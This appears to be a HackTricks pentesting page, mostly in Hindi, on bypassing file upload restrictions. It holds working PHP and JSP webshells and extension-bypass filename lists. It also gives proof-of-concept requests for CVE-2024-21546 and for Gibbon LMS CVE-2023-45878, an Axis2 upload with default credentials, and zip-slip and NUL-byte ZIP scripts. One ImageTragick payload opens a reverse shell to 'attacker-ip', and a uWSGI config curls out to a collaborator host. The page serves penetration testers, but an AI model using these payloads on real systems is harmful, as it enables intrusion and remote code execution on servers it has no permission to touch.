फ़ाइल अपलोड

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

फ़ाइल अपलोड सामान्य कार्यप्रणाली

अन्य उपयोगी एक्सटेंशन:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • PHPv8 में काम करते समय: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

फ़ाइल एक्सटेंशन चेक बायपास करें

  1. यदि लागू हों, तो पिछले एक्सटेंशन्स की जाँच करें। इन्हें कुछ uppercase letters का उपयोग करके भी टेस्ट करें: pHp, .pHP5, .PhAr …
  2. जाँच करें execution extension से पहले एक मान्य एक्सटेंशन जोड़ने की (पिछले एक्सटेंशन्स का उपयोग भी करें):
  • file.png.php
  • file.png.Php5
  1. आख़िर में विशेष अक्षर/characters जोड़ने की कोशिश करें। आप Burp का उपयोग करके सभी ascii और Unicode characters को bruteforce कर सकते हैं। (नोट कि आप पहले बताए गए extensions का भी उपयोग कर सकते हैं)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php….
  • file.pHp5….
  1. सर्वर-साइड के extension parser को धोखा देकर protections बायपास करने की कोशिश करें, जैसे extension को डबल करना या एक्सटेंशन्स के बीच junk डेटा (null bytes) डालना। बेहतर payload तैयार करने के लिए आप पिछले एक्सटेंशन्स का भी उपयोग कर सकते हैं.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. पिछले चेक में एक और लेयर एक्सटेंशन्स जोड़ें:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. exec extension को valid extension से पहले रखकर आज़माएँ और उम्मीद करें कि सर्वर misconfigured हो। (useful to exploit Apache misconfigurations where anything with extension** .php, but not necessarily ending in .php** will execute code):
  • ex: file.php.png
  1. Windows में NTFS alternate data stream (ADS) का उपयोग करें। इस केस में, एक colon character “:” को forbidden extension के बाद और permitted one से पहले डाला जाएगा। नतीजतन, सर्वर पर एक empty file with the forbidden extension बन सकता है (उदा. “file.asax:.jpg”). यह फाइल बाद में अन्य तकनीकों से edit की जा सकती है जैसे short filename का उपयोग करना। “::$data” पैटर्न का उपयोग non-empty files बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक dot character जोड़ना भी आगे की पाबंदियों को बायपास करने में उपयोगी हो सकता है (उदा. “file.asp::$data.”)
  2. filename limits को तोड़ने की कोशिश करें। वैध एक्सटेंशन कट जाता है और malicious PHP रह जाता है। AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

कई upload handlers saved filename से trailing dot characters को trim या normalize कर देते हैं। UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) के versions 2.9.1 से पहले, आप extension validation को बायपास कर सकते हैं:

  • एक valid image MIME और magic header का उपयोग करें (उदा., PNG’s \x89PNG\r\n\x1a\n)।
  • अपलोड की गई फ़ाइल का नाम PHP extension के बाद एक dot लगा कर रखें, जैसे shell.php.
  • सर्वर trailing dot को हटा देता है और shell.php को persist करता है, जो कि web-served directory (default public storage जैसे /storage/files/) में रखा गया हो तो execute हो जाएगा।

न्यूनतम PoC (Burp Repeater):

POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

फिर सहेजे गए पथ तक पहुंचें (Laravel + LFM में सामान्य):

GET /storage/files/0xdf.php?cmd=id

Bypass Content-Type, Magic Number, Compression & Resizing

  • Bypass Content-Type checks by setting the value of the Content-Type header to: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Bypass magic number check by adding at the beginning of the file the bytes of a real image (confuse the file command). Or introduce the shell inside the metadata:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ or you could also introduce the payload directly in an image:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • If compressions is being added to your image, for example using some standard PHP libraries like PHP-GD, the previous techniques won’t be useful it. However, you could use the PLTE chunk technique defined here to insert some text that will survive compression.
  • Github with the code
  • The web page cold also be resizing the image, using for example the PHP-GD functions imagecopyresized or imagecopyresampled. However, you could use the IDAT chunk technique defined here to insert some text that will survive compression.
  • Github with the code
  • Another technique to make a payload that survives an image resizing, using the PHP-GD function thumbnailImage. However, you could use the tEXt chunk technique defined here to insert some text that will survive compression.
  • Github with the code

Other Tricks to check

  • Upload किए गए फ़ाइल का नाम बदलने की किसी vulnerability को खोजें (ताकि extension बदली जा सके)।
  • Backdoor को execute करने के लिए किसी Local File Inclusion vulnerability को खोजें।
  • संभावित Information disclosure:
  1. एक ही फ़ाइल को कई बार (और एक ही समय पर) अपलोड करें, जो एक ही नाम रखती हो।
  2. पहले से मौजूद किसी फ़ाइल या फ़ोल्डर के नाम के साथ फ़ाइल अपलोड करें।
  3. फ़ाइल का नाम केवल "." , "..", or "…" रखें। उदाहरण के लिए, Apache पर Windows में, अगर एप्लिकेशन “/www/uploads/” डायरेक्टरी में अपलोड सेव करता है, तो “.” filename “/www/” डायरेक्टरी में “uploads” नाम की फ़ाइल बना देगा।
  4. ऐसी फ़ाइल अपलोड करें जिसे आसानी से डिलीट न किया जा सके, जैसे “…:.jpg” in NTFS. (Windows)
  5. Windows में ऐसे invalid characters वाले नाम के साथ फ़ाइल अपलोड करें जैसे |<>*?”। (Windows)
  6. Windows में reserved (forbidden) नाम जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9 का उपयोग करके फ़ाइल अपलोड करने की कोशिश करें।
  • यह भी कोशिश करें कि कोई executable (.exe) या एक .html (कम संदिग्ध) अपलोड करें जो गलती से victim द्वारा खोले जाने पर code execute कर दे।

Special extension tricks

If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.

The .phar files are like the .jar for java, but for php, and can be used like a php file (executing it with php, or including it inside a script…)

The .inc extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed.

Jetty RCE

If you can upload a XML file into a Jetty server you can obtain RCE because **new .xml and .war are automatically processed. So, as mentioned in the following image, upload the XML file to $JETTY_BASE/webapps/ and expect the shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

For a detailed exploration of this vulnerability check the original research: uWSGI RCE Exploitation.

Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the .ini configuration file. uWSGI configuration files leverage a specific syntax to incorporate “magic” variables, placeholders, and operators. Notably, the ‘@’ operator, utilized as @(filename), is designed to include the contents of a file. Among the various supported schemes in uWSGI, the “exec” scheme is particularly potent, allowing the reading of data from a process’s standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a .ini configuration file is processed.

Consider the following example of a harmful uwsgi.ini file, showcasing various schemes:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.

यह समझना महत्वपूर्ण है कि uWSGI की configuration file पार्सिंग ढीली है। विशेष रूप से, चर्चा किया गया payload किसी binary file (जैसे image या PDF) में insert किया जा सकता है, जो संभावित exploitation के दायरे को और बढ़ा देता है।

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Gibbon LMS में एक unauthenticated endpoint web root के अंदर arbitrary file write की अनुमति देता है, जिससे PHP file drop करके pre-auth RCE हो सकती है। Vulnerable versions: up to and including 25.0.01.

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • Method: POST
  • Required params:
  • img: data-URI-like string: [mime];[name],[base64] (server type/name को नजरअंदाज करता है, और आखिरी भाग को base64-decode करता है)
  • path: destination filename relative to Gibbon install dir (e.g., poc.php or 0xdf.php)
  • gibbonPersonID: कोई भी गैर-खाली value स्वीकार किया जाता है (उदाहरण: 0000000001)

Minimal PoC to write and read back a file:

# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

एक न्यूनतम webshell डालें और commands निष्पादित करें:

# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

Notes:

  • हैंडलर ; और , से split करने के बाद base64_decode($_POST["img"]) करता है, फिर बाइट्स को $absolutePath . '/' . $_POST['path'] में लिख देता है बिना extension/type को validate किए।
  • परिणामस्वरूप कोड वेब सर्विस उपयोगकर्ता के रूप में चलता है (e.g., XAMPP Apache on Windows).

इस बग के संदर्भों में usd HeroLab advisory और NVD entry शामिल हैं। नीचे References सेक्शन देखें।

wget File Upload/SSRF Trick

कुछ मामलों में आप पाएँगे कि सर्वर wget का उपयोग करके download files कर रहा है और आप indicate कर सकते हैं URL। इन मामलों में, कोड यह जाँच सकता है कि डाउनलोड की गई फ़ाइलों का extension whitelist में है ताकि केवल अनुमत फ़ाइलें ही डाउनलोड हों। हालांकि, this check can be bypassed.
The maximum length of a filename in linux is 255, however, wget truncate the filenames to 236 characters. You can download a file called “A”*232+“.php”+“.gif”, this filename will bypass the check (as in this example “.gif” is a valid extension) but wget will rename the file to “A”*232+“.php”.

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

ध्यान दें कि एक और विकल्प जो आप इस चेक को बायपास करने के लिए सोच रहे होंगे वह यह है कि HTTP server को किसी different file पर redirect कर दिया जाए, ताकि प्रारंभिक URL चेक को बायपास कर दे और फिर wget redirected file को नए नाम के साथ डाउनलोड कर ले। यह काम नहीं करेगा जब तक wget को parameter --trust-server-names के साथ उपयोग नहीं किया जा रहा हो क्योंकि wget redirected page को उसी नाम से डाउनलोड करेगा जो original URL में संकेतित है

NTFS junctions (Windows) के माध्यम से upload directory से बाहर निकलना

(For this attack you will need local access to the Windows machine) जब uploads Windows पर per-user subfolders में संग्रहीत होते हैं (e.g., C:\Windows\Tasks\Uploads<id>) और आप उस subfolder के creation/deletion को नियंत्रित करते हैं, तो आप उसे एक directory junction से बदल सकते हैं जो किसी संवेदनशील स्थान (e.g., the webroot) की ओर इशारा करता है। बाद की uploads लक्षित पथ में लिखी जाएँगी, जिससे code execution संभव हो सकता है अगर लक्ष्य server‑side code को interpret करता है।

Example flow to redirect uploads into XAMPP webroot:

:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

नोट्स

  • mklink /J creates an NTFS directory junction (reparse point). वेब सर्वर का account junction को follow कर सके और destination में write permission होना चाहिए।
  • यह arbitrary file writes को redirect कर देता है; अगर destination scripts (PHP/ASP) execute करता है, तो यह RCE बन जाता है।
  • Defenses: writable upload roots को attacker‑controllable होने से रोकें, खासकर C:\Windows\Tasks के अंतर्गत या इसी तरह; block junction creation; extensions को server‑side validate करें; uploads को अलग volume पर रखें या deny‑execute ACLs के साथ स्टोर करें।

GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)

Some upload/ingest handlers कच्चे request body को ऐसे filesystem path पर लिखते हैं जो user-controlled query parameters से बनता है। अगर handler Content-Encoding: gzip को भी सपोर्ट करता है और destination path को canonicalize/validate करने में विफल रहता है, तो आप directory traversal को एक gzipped payload के साथ combine करके arbitrary bytes को एक web-served directory में लिख सकते हैं और RCE हासिल कर सकते हैं (उदा., Tomcat के webapps के अन्दर एक JSP drop करना)।

Generic exploitation flow:

  • अपने server-side payload (उदा., minimal JSP webshell) तैयार करें और bytes को gzip-compress करें।
  • एक POST भेजें जहाँ एक path parameter (उदा., token) intended folder से बाहर निकलने वाला traversal रखता है, और file वह filename बताता है जिसे persist करना है। Set Content-Type: application/octet-stream और Content-Encoding: gzip; body compressed payload है।
  • लिखी गई file पर browse करें ताकि execution ट्रिगर हो।

Illustrative request:

POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

फिर ट्रिगर करें:

GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

नोट्स

  • Target paths vary by install (e.g., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ in some stacks). Any web-exposed folder that executes JSP will work.
  • Burp Suite’s Hackvertor extension आपके payload से एक सही gzip body उत्पन्न कर सकता है।
  • यह एक शुद्ध pre-auth arbitrary file write → RCE pattern है; यह multipart parsing पर निर्भर नहीं करता।

रोकथाम

  • अपलोड गंतव्यों को सर्वर-साइड पर निर्धारित करें; क्लाइंट से आए path fragments पर कभी भरोसा न करें।
  • Canonicalize करें और लागू करें कि resolved path एक allow-listed base directory के भीतर ही रहे।
  • Uploads को non-executable volume पर स्टोर करें और writable paths से script execution को deny करें।

Axis2 SOAP uploadFile traversal to Tomcat webroot (JSP drop)

Axis2-based upload services sometimes expose an uploadFile SOAP action that takes three attacker-controlled fields: jobDirectory (destination directory), archiveName (filename), and dataHandler (base64 file content). If jobDirectory is not canonicalized, you get arbitrary file write via path traversal and can land a JSP in Tomcat’s webapps.

Minimal request outline (default creds often work: admin / trubiquity):

POST /services/WsPortalV6UpDwAxis2Impl HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:updw="http://updw.webservice.ddxPortalV6.ddxv6.procaess.com">
<soapenv:Body>
<updw:uploadFile>
<updw:login>admin</updw:login>
<updw:password>trubiquity</updw:password>
<updw:archiveName>shell.jsp</updw:archiveName>
<updw:jobDirectory>/../../../../opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/</updw:jobDirectory>
<updw:dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgc3lzdGVtKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7Pz4=</updw:dataHandler>
</updw:uploadFile>
</soapenv:Body>
</soapenv:Envelope>
  • Bindings अक्सर केवल localhost-पर ही बाइंड होते हैं; अगर Axis2 पोर्ट एक्सपोज़ नहीं है तो 127.0.0.1 तक पहुँचने के लिए full-read SSRF (absolute-URL request line, Host header ignored) के साथ जोड़ें।
  • लिखने के बाद, execute करने के लिए /trufusionPortal/jsp/shell.jsp?cmd=id पर ब्राउज़ करें।

टूल्स

  • Upload Bypass एक शक्तिशाली टूल है जो Pentesters और Bug Hunters को file upload mechanisms का परीक्षण करने में मदद करने के लिए बनाया गया है। यह विभिन्न bug bounty तकनीकों का उपयोग करके vulnerabilities की पहचान और exploit करने की प्रक्रिया को सरल बनाता है, और web applications का thorough assessment सुनिश्चित करता है।

Corrupting upload indices with snprintf quirks (historical)

कुछ legacy upload handlers जो एक single-file upload से multi-file arrays बनाने के लिए snprintf() या समान का उपयोग करते हैं, उन्हें _FILES structure को forge करने के लिए trick किया जा सकता है। snprintf() के व्यवहार में असंगति और truncation के कारण, सावधानीपूर्वक बनाया गया एक single upload सर्वर साइड पर कई indexed files के रूप में दिखाई दे सकता है, जिससे ऐसी logic confuse हो सकती है जो एक सख्त shape मानती है (उदा., इसे multi-file upload मानकर unsafe branches लेती है)। आज niche होते हुए भी, यह “index corruption” पैटर्न कभी-कभी CTFs और पुराने codebases में फिर से मिलता है।

File upload से अन्य vulnerabilities तक

यहाँ upload करके हासिल की जा सकने वाली चीज़ों की top 10 सूची है (from here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy \xc2\xb7 GitHub

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

अन्य filetypes के लिए देखें: https://en.wikipedia.org/wiki/List_of_file_signatures

Zip/Tar फ़ाइलें जो सर्वर पर स्वतः decompressed की जाती हैं

अगर आप ऐसा ZIP अपलोड कर सकते हैं जो सर्वर के अंदर decompress होने जा रहा है, तो आप दो चीजें कर सकते हैं:

ऐसा लिंक अपलोड करें जिसमें अन्य फाइलों के soft links हों, फिर decompressed फाइलों को एक्सेस करने पर आप linked फाइलों तक पहुँच पाएँगे:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

अलग फ़ोल्डरों में decompression

Decompression के दौरान डायरेक्टरीज़ में फाइलों का अनपेक्षित निर्माण एक गंभीर समस्या है। प्रारंभिक मान्यताओं के बावजूद कि यह सेटअप malicious file uploads के माध्यम से OS-level command execution से सुरक्षा प्रदान कर सकता है, ZIP archive format की hierarchical compression support और directory traversal क्षमताओं का दुरुपयोग किया जा सकता है। इससे attackers decompression functionality को manipulate करके प्रतिबंधों को bypass कर सकते हैं और secure upload directories से escape कर सकते हैं।

An automated exploit to craft such files is available at evilarc on GitHub. इस utility का उपयोग नीचे दिखाए गए तरीके से किया जा सकता है:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

इसके अलावा, symlink trick with evilarc एक विकल्प है। यदि उद्देश्य /flag.txt जैसी फ़ाइल को लक्षित करना है, तो उस फ़ाइल के लिए अपने सिस्टम में एक symlink बनाना चाहिए। यह सुनिश्चित करता है कि evilarc अपने ऑपरेशन के दौरान त्रुटियों का सामना न करे।

नीचे दुष्ट zip फ़ाइल बनाने के लिए उपयोग किए गए Python कोड का एक उदाहरण दिया गया है:

#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Abusing compression for file spraying

For further details check the original post in: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creating a PHP Shell: PHP code $_REQUEST वेरिएबल के जरिए पास किए गए कमांड्स को execute करने के लिए लिखा गया है।
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: कई फ़ाइलें बनाई जाती हैं और इन फ़ाइलों को शामिल करते हुए एक zip archive assemble किया जाता है।
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification with a Hex Editor or vi: zip के अंदर की फ़ाइलों के नाम vi या hex editor का उपयोग करके बदले जाते हैं, xxA को ../ में बदलकर directory traversal किया जाता है।
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

जब backend ZIP entries को PHP’s ZipArchive से validate करता है लेकिन extraction raw names का उपयोग करके filesystem पर लिखता है, तो आप filename fields में NUL (0x00) डालकर एक disallowed extension smuggle कर सकते हैं। ZipArchive entry name को C‑string के रूप में समझता है और पहले NUL पर truncate कर देता है; filesystem पूरा नाम लिख देता है, NUL के बाद का सब कुछ drop कर देता है।

High-level flow:

  • एक वैध container file तैयार करें (उदा., एक valid PDF) जिसमें एक छोटा PHP stub एक stream में embed किया गया हो ताकि magic/MIME PDF ही रहे।
  • इसे shell.php..pdf जैसा name दें, zip करें, फिर ZIP local header और central directory filename को hex‑edit कर .php के बाद वाले पहले . को 0x00 से बदलें, जिससे shell.php\x00.pdf बनता है।
  • ZipArchive पर निर्भर validators shell.php .pdf को “देखेंगे” और allow कर देंगे; extractor shell.php को disk पर लिख देगा, जिससे upload folder executable होने पर RCE संभव हो जाएगा।

Minimal PoC steps:

# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

Notes

  • दोनों filename occurrences बदलें (local और central directory)। कुछ tools एक extra data descriptor entry भी जोड़ते हैं – यदि मौजूद हो तो सभी name fields समायोजित करें।
  • The payload file को अभी भी server‑side magic/MIME sniffing से गुजरना चाहिए। PHP को PDF stream में embed करने से header वैध रहता है।
  • यह उन मामलों में काम करता है जहाँ enum/validation path और extraction/write path string handling के मामले में असहमत होते हैं।

Stacked/concatenated ZIPs (parser disagreement)

Concatenating two valid ZIP files produces a blob where different parsers focus on different EOCD records. Many tools locate the last End Of Central Directory (EOCD), while some libraries (e.g., ZipArchive in specific workflows) may parse the first archive they find. If validation enumerates the first archive and extraction uses another tool that honors the last EOCD, a benign archive can pass checks while a malicious one gets extracted.

PoC:

# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

दुरुपयोग पैटर्न

  • एक हानिरहित आर्काइव बनाएं (अनुमत प्रकार, उदाहरण के लिए PDF) और दूसरा आर्काइव बनाएं जिसमें ब्लॉक किया गया extension हो (उदाहरण: shell.php).
  • इन्हें जोड़ें: cat benign.zip evil.zip > combined.zip.
  • यदि सर्वर एक parser के साथ validate करता है (benign.zip देखता है) लेकिन दूसरे के साथ extract करता है (evil.zip प्रोसेस करता है), तो ब्लॉक की गई फ़ाइल extraction path में पहुँच जाती है.

ImageTragic

इस कंटेंट को एक image extension के साथ upload करें ताकि यह vulnerability exploit किया जा सके (ImageMagick , 7.0.1-1) (exploit से)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Embedding PHP Shell on PNG

